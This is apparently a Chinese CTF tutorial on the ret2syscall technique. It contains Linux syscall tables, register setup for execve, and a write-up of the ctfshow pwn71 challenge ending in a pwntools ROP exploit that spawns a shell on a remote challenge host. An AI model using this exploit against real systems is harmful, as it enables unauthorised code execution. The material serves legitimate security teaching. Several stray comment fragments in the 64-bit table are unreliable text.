ret2syscall 原理 当程序是静态编译时,我们可以通过强制程序执行一个系统调用(syscall)来获得shell
(1)系统调用基础 系统调用是操作系统提供给用户程序的一组接口,用于访问操作系统内核的功能。在 Linux 系统中,常见的系统调用包括文件操作(如 open、read、write)、进程管理(如 fork、execve)、内存管理(如 mmap)等。当用户程序需要执行特权操作时,会通过系统调用陷入内核态,由内核执行相应的操作,并将结果返回给用户程序。
(2)系统调用过程 1.设置系统调用号
用户程序若要发起系统调用,首先要确定所需调用的系统调用对应的编号,并将其存放在 eax 寄存器中(32位)或rax寄存器中(64位)
系统调用号是操作系统为每个系统调用分配的一个唯一的整数值标识符。用户程序在发起系统调用时,需要通过这个系统调用号来告知操作系统具体要执行哪一个系统调用,ret2syscall通常采用execve(在当前进程的上下文中执行一个新的程序),32位(0x0b)、64位(0x3b)
Linux 32 位系统 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 exit 1 fork 2 read 3 write 4 open 5 close 6 waitpid 7 creat 8 link 9 unlink 10 execve 11 chdir 12 time 13 mknod 14 chmod 15 lchown 16 break 17 oldstat 18 lseek 19 getpid 20 mount 21 umount 22 setuid 23 getuid 24 stime 25 ptrace 26 alarm 27 oldfstat 28 pause 29 utime 30 stty 31 gtty 32 access 33 nice 34 ftime 35 sync 36 kill 37 rename 38 mkdir 39 rmdir 40 dup 41 pipe 42 times 43 prof 44 brk 45 setgid 46 getgid 47 signal 48 geteuid 49 getegid 50 acct 51 umount2 52 lock 53 ioctl 54 fcntl 55 mpx 56 setpgid 57 ulimit 58 oldolduname 59 umask 60 chroot 61 ustat 62 dup2 63 getppid 64 getpgrp 65 setsid 66 sigaction 67 sgetmask 68 ssetmask 69 setreuid 70 setregid 71 sigsuspend 72 sigpending 73 sethostname 74 setrlimit 75 getrlimit 76 getrusage 77 gettimeofday 78 settimeofday 79 getgroups 80 setgroups 81 select 82 symlink 83 oldlstat 84 readlink 85 uselib 86 swapon 87 reboot 88 readdir 89 mmap 90 munmap 91 truncate 92 ftruncate 93 fchmod 94 fchown 95 getpriority 96 setpriority 97 profil 98 statfs 99 fstatfs 100 ioperm 101 socketcall 102 syslog 103 setitimer 104 getitimer 105 stat 106 lstat 107 fstat 108 olduname 109 iopl 110 vhangup 111 idle 112 vm86old 113 wait4 114 swapoff 115 sysinfo 116 ipc 117 fsync 118 sigreturn 119 clone 120 setdomainname 121 uname 122 modify_ldt 123 adjtimex 124 mprotect 125 sigprocmask 126 create_module 127 init_module 128 delete_module 129 get_kernel_syms 130 quotactl 131 getpgid 132 fchdir 133 bdflush 134 sysfs 135 personality 136 afs_syscall 137 setfsuid 138 setfsgid 139 _llseek 140 getdents 141 _newselect 142 flock 143 msync 144 readv 145 writev 146 getsid 147 fdatasync 148 _sysctl 149 mlock 150 munlock 151 mlockall 152 munlockall 153 sched_setparam 154 sched_getparam 155 sched_setscheduler 156 sched_getscheduler 157 sched_yield 158 sched_get_priority_max 159 sched_get_priority_min 160 sched_rr_get_interval 161 nanosleep 162 mremap 163 setresuid 164 getresuid 165 vm86 166 query_module 167 poll 168 nfsservctl 169 setresgid 170 getresgid 171 prctl 172 rt_sigreturn 173 rt_sigaction 174 rt_sigprocmask 175 rt_sigpending 176 rt_sigtimedwait 177 rt_sigqueueinfo 178 rt_sigsuspend 179 pread64 180 pwrite64 181 chown 182 getcwd 183 capget 184 capset 185 sigaltstack 186 sendfile 187 getpmsg 188 putpmsg 189 vfork 190 ugetrlimit 191 mmap2 192 truncate64 193 ftruncate64 194 stat64 195 lstat64 196 fstat64 197 lchown32 198 getuid32 199 getgid32 200 geteuid32 201 getegid32 202 setreuid32 203 setregid32 204 getgroups32 205 setgroups32 206 fchown32 207 setresuid32 208 getresuid32 209 setresgid32 210 getresgid32 211 chown32 212 setuid32 213 setgid32 214 setfsuid32 215 setfsgid32 216 pivot_root 217 mincore 218 madvise 219 madvise1 219 getdents64 220 fcntl64 221 gettid 224 readahead 225 setxattr 226 lsetxattr 227 fsetxattr 228 getxattr 229 lgetxattr 230 fgetxattr 231 listxattr 232 llistxattr 233 flistxattr 234 removexattr 235 lremovexattr 236 fremovexattr 237 tkill 238 sendfile64 239 futex 240 sched_setaffinity 241 sched_getaffinity 242 set_thread_area 243 get_thread_area 244 io_setup 245 io_destroy 246 io_getevents 247 io_submit 248 io_cancel 249 fadvise64 250 exit_group 252 lookup_dcookie 253 epoll_create 254 epoll_ctl 255 epoll_wait 256 remap_file_pages 257 set_tid_address 258 timer_create 259 timer_settime 260 timer_gettime 261 timer_getoverrun 262 timer_delete 263 clock_settime 264 clock_gettime 265 clock_getres 266 clock_nanosleep 267 statfs64 268 fstatfs64 269 tgkill 270 utimes 271 fadvise64_64 272 vserver 273 mbind 274 get_mempolicy 275 set_mempolicy 276 mq_open 277 mq_unlink 278 mq_timedsend 279 mq_timedreceive 280 mq_notify 281 mq_getsetattr 282 kexec_load 283 waitid 284 sys_setaltroot 285 add_key 286 request_key 287 keyctl 288 ioprio_set 289 ioprio_get 290 inotify_init 291 inotify_add_watch 292 inotify_rm_watch 293 migrate_pages 294 openat 295 mkdirat 296 mknodat 297 fchownat 298 futimesat 299 fstatat64 300 unlinkat 301 renameat 302 linkat 303 symlinkat 304 readlinkat 305 fchmodat 306 faccessat 307 pselect6 308 ppoll 309 unshare 310 set_robust_list 311 get_robust_list 312 splice 313 sync_file_range 314 tee 315 vmsplice 316 move_pages 317 getcpu 318 epoll_pwait 319 utimensat 320 signalfd 321 timerfd_create 322 eventfd 323 fallocate 324 timerfd_settime 325 timerfd_gettime 326 signalfd4 327 eventfd2 328 epoll_create1 329 dup3 330 pipe2 331 inotify_init1 332 preadv 333 pwritev 334 rt_tgsigqueueinfo 335 perf_event_open 336 recvmmsg 337 fanotify_init 338 fanotify_mark 339 prlimit64 340 name_to_handle_at 341 open_by_handle_at 342 clock_adjtime 343 syncfs 344 sendmmsg 345 set_ns 346 process_vm_readv 347 process_vm_writev 348
Linux 64 位系统 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 read 0 write 1 open 2 close 3 stat 4 fstat 5 lstat 6 poll 7 lseek 8 mmap 9 mprotect 10 munmap 11 brk 12 rt_sigaction 13 rt_sigprocmask 14 rt_sigreturn 15 ioctl 16 pread64 17 pwrite64 18 readv 19 writev 20 access 21 pipe 22 select 23 sched_yield 24 mremap 25 msync 26 mincore 27 madvise 28 shmget 29 shmat 30 shmctl 31 dup 32 dup2 33 pause 34 nanosleep 35 getitimer 36 alarm 37 setitimer 38 getpid 39 sendfile 40 socket 41 connect 42 accept 43 sendto 44 recvfrom 45 sendmsg 46 recvmsg 47 shutdown 48 bind 49 listen 50 getsockname 51 getpeername 52 socketpair 53 setsockopt 54 getsockopt 55 clone 56 fork 57 vfork 58 execve 59 exit 60 wait4 61 kill 62 uname 63 semget 64 semop 65 semctl 66 shmdt 67 msgget 68 msgsnd 69 msgrcv 70 msgctl 71 fcntl 72 flock 73 fsync 74 fdatasync 75 truncate 76 ftruncate 77 getdents 78 getcwd 79 chdir 80 fchdir 81 rename 82 mkdir 83 rmdir 84 creat 85 link 86 unlink 87 symlink 88 readlink 89 chmod 90 fchmod 91 chown 92 fchown 93 lchown 94 umask 95 gettimeofday 96 getrlimit 97 getrusage 98 sysinfo 99 times 100 ptrace 101 getuid 102 syslog 103 y end the stuff that never runs during the benchmarks */ getgid 104 setuid 105 setgid 106 geteuid 107 getegid 108 setpgid 109 getppid 110 getpgrp 111 setsid 112 setreuid 113 setregid 114 getgroups 115 setgroups 116 setresuid 117 getresuid 118 setresgid 119 getresgid 120 getpgid 121 setfsuid 122 setfsgid 123 getsid 124 capget 125 capset 126 rt_sigpending 127 rt_sigtimedwait 128 rt_sigqueueinfo 129 rt_sigsuspend 130 sigaltstack 131 utime 132 mknod 133 d for a.out */ uselib 134 personality 135 ustat 136 statfs 137 fstatfs 138 sysfs 139 getpriority 140 setpriority 141 sched_setparam 142 sched_getparam 143 sched_setscheduler 144 sched_getscheduler 145 sched_get_priority_max 146 sched_get_priority_min 147 sched_rr_get_interval 148 mlock 149 munlock 150 mlockall 151 munlockall 152 vhangup 153 modify_ldt 154 pivot_root 155 _sysctl 156 prctl 157 arch_prctl 158 adjtimex 159 setrlimit 160 chroot 161 sync 162 acct 163 settimeofday 164 mount 165 umount2 166 swapon 167 swapoff 168 reboot 169 sethostname 170 setdomainname 171 iopl 172 ioperm 173 create_module 174 init_module 175 delete_module 176 get_kernel_syms 177 query_module 178 quotactl 179 nfsservctl 180 or LiS/STREAMS */ getpmsg 181 putpmsg 182 or AFS */ afs_syscall 183 or tux */ tuxcall 184 security 185 gettid 186 readahead 187 setxattr 188 lsetxattr 189 fsetxattr 190 getxattr 191 lgetxattr 192 fgetxattr 193 listxattr 194 llistxattr 195 flistxattr 196 removexattr 197 lremovexattr 198 fremovexattr 199 tkill 200 time 201 futex 202 sched_setaffinity 203 sched_getaffinity 204 set_thread_area 205 io_setup 206 io_destroy 207 io_getevents 208 io_submit 209 io_cancel 210 get_thread_area 211 lookup_dcookie 212 epoll_create 213 epoll_ctl_old 214 epoll_wait_old 215 remap_file_pages 216 getdents64 217 set_tid_address 218 restart_syscall 219 semtimedop 220 fadvise64 221 timer_create 222 timer_settime 223 timer_gettime 224 timer_getoverrun 225 timer_delete 226 clock_settime 227 clock_gettime 228 clock_getres 229 clock_nanosleep 230 exit_group 231 epoll_wait 232 epoll_ctl 233 tgkill 234 utimes 235 vserver 236 mbind 237 set_mempolicy 238 get_mempolicy 239 mq_open 240 mq_unlink 241 mq_timedsend 242 mq_timedreceive 243 mq_notify 244 mq_getsetattr 245 kexec_load 246 waitid 247 add_key 248 request_key 249 keyctl 250 ioprio_set 251 ioprio_get 252 inotify_init 253 inotify_add_watch 254 inotify_rm_watch 255 migrate_pages 256 openat 257 mkdirat 258 mknodat 259 fchownat 260 futimesat 261 newfstatat 262 unlinkat 263 renameat 264 linkat 265 symlinkat 266 readlinkat 267 fchmodat 268 faccessat 269 pselect6 270 ppoll 271 unshare 272 set_robust_list 273 get_robust_list 274 splice 275 tee 276 sync_file_range 277 vmsplice 278 move_pages 279 utimensat 280 ORE_getcpu /* implemented as a vsyscall */ epoll_pwait 281 signalfd 282 timerfd_create 283 eventfd 284 fallocate 285 timerfd_settime 286 timerfd_gettime 287 accept4 288 signalfd4 289 eventfd2 290 epoll_create1 291 dup3 292 pipe2 293 inotify_init1 294 preadv 295 pwritev 296 rt_tgsigqueueinfo 297 perf_event_open 298 recvmmsg 299 fanotify_init 300 fanotify_mark 301 prlimit64 302 name_to_handle_at 303 open_by_handle_at 304 clock_adjtime 305 syncfs 306 sendmmsg 307 set_ns 308 get_cpu 309 process_vm_readv 310 process_vm_writev 311
2.传递参数
32位系统所需参数依次存放在 寄存器eax、ebx、ecx、edx、esi、edi 和 ebp
设置 eax 寄存器
设置 edx 寄存器
设置 ecx 寄存器
设置 ebx 寄存器
0xb (execve 的系统调用号)
0(NULL)
0(NULL)
/bin/sh 字符串的地址
64位系统所需参数依次存放在寄存器rax、rdi、rsi、rdx、r10、r8 和 r9
设置 rax 寄存器
设置 rdx 寄存器
设置 rsi 寄存器
设置 rdi 寄存器
0x3b(execve 的系统调用号)
0(NULL)
0(NULL)
/bin/sh 字符串的地址
3.触发系统调用
32 位系统使用 int0x80 指令来触发系统调用,64 位系统使用 syscall 指令来触发系统调用
例题 ctfshow71(32位ret2syscall) 1 2 3 4 5 6 7 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
32位,开启NX保护,栈不可执行
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
statically linked静态编译
ida:
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); puts ("===============CTFshow--PWN===============" ); puts ("Try to use ret2syscall!" ); gets(&v4); return 0 ;
gets栈溢出
偏移:112
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x080be408 : /bin/sh
0x08049421 : int 0x80
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *io = remote('pwn.challenge.ctf.show' ,28306 ) pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = b'a' *(112 )+p32(pop_eax_ret) payload += p32(0xb )+p32(pop_edx_ecx_ebx_ret) payload += p32(0 )+p32(0 )+p32(binsh) payload += p32(int_0x80) io.sendline(payload) io.interactive()